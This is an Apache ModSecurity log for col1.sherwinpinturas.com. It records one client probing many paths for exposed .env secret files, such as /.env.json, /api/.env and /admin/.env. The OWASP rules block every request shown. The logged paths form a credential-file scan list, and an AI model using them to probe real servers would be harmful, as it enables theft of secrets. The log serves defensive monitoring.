[Mon Oct 26 22:24:45.890525 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auALbUr8KB7FmjwQ4kVztAAAAAg"]
[Mon Oct 26 22:24:45.890920 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auALbUr8KB7FmjwQ4kVztAAAAAg"]
[Mon Oct 26 22:24:45.989055 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auALbUr8KB7FmjwQ4kVztQAAAAg"]
[Mon Oct 26 22:24:45.989361 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auALbUr8KB7FmjwQ4kVztQAAAAg"]
[Mon Oct 26 22:24:45.989693 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auALbUr8KB7FmjwQ4kVztQAAAAg"]
[Mon Oct 26 22:24:46.105008 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auALbkr8KB7FmjwQ4kVztgAAAAg"]
[Mon Oct 26 22:24:46.105271 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auALbkr8KB7FmjwQ4kVztgAAAAg"]
[Mon Oct 26 22:24:46.105567 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auALbkr8KB7FmjwQ4kVztgAAAAg"]
[Mon Oct 26 22:24:46.240033 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 34.234.197.175:29664] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:24:46.244968 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auALbkr8KB7FmjwQ4kVztwAAAAg"]
[Mon Oct 26 22:24:46.245145 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auALbkr8KB7FmjwQ4kVztwAAAAg"]
[Mon Oct 26 22:24:46.245409 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auALbkr8KB7FmjwQ4kVztwAAAAg"]
[Mon Oct 26 22:24:46.403924 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzuAAAAAg"]
[Mon Oct 26 22:24:46.404193 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzuAAAAAg"]
[Mon Oct 26 22:24:46.404444 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzuAAAAAg"]
[Mon Oct 26 22:24:46.509223 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzuQAAAAg"]
[Mon Oct 26 22:24:46.509483 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzuQAAAAg"]
[Mon Oct 26 22:24:46.509846 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzuQAAAAg"]
[Mon Oct 26 22:24:46.616699 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzugAAAAg"]
[Mon Oct 26 22:24:46.616955 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzugAAAAg"]
[Mon Oct 26 22:24:46.617301 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzugAAAAg"]
[Mon Oct 26 22:24:46.718358 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzuwAAAAg"]
[Mon Oct 26 22:24:46.718599 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzuwAAAAg"]
[Mon Oct 26 22:24:46.718896 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzuwAAAAg"]
[Mon Oct 26 22:24:46.832018 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzvAAAAAg"]
[Mon Oct 26 22:24:46.832268 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzvAAAAAg"]
[Mon Oct 26 22:24:46.832560 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzvAAAAAg"]
[Mon Oct 26 22:24:46.931775 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzvQAAAAg"]
[Mon Oct 26 22:24:46.932046 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzvQAAAAg"]
[Mon Oct 26 22:24:46.932371 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auALbkr8KB7FmjwQ4kVzvQAAAAg"]
[Mon Oct 26 22:24:47.037108 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzvgAAAAg"]
[Mon Oct 26 22:24:47.037360 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzvgAAAAg"]
[Mon Oct 26 22:24:47.037685 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzvgAAAAg"]
[Mon Oct 26 22:24:47.138926 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzvwAAAAg"]
[Mon Oct 26 22:24:47.139273 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzvwAAAAg"]
[Mon Oct 26 22:24:47.139658 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzvwAAAAg"]
[Mon Oct 26 22:24:47.279474 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwAAAAAg"]
[Mon Oct 26 22:24:47.279733 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwAAAAAg"]
[Mon Oct 26 22:24:47.280083 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwAAAAAg"]
[Mon Oct 26 22:24:47.390339 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwQAAAAg"]
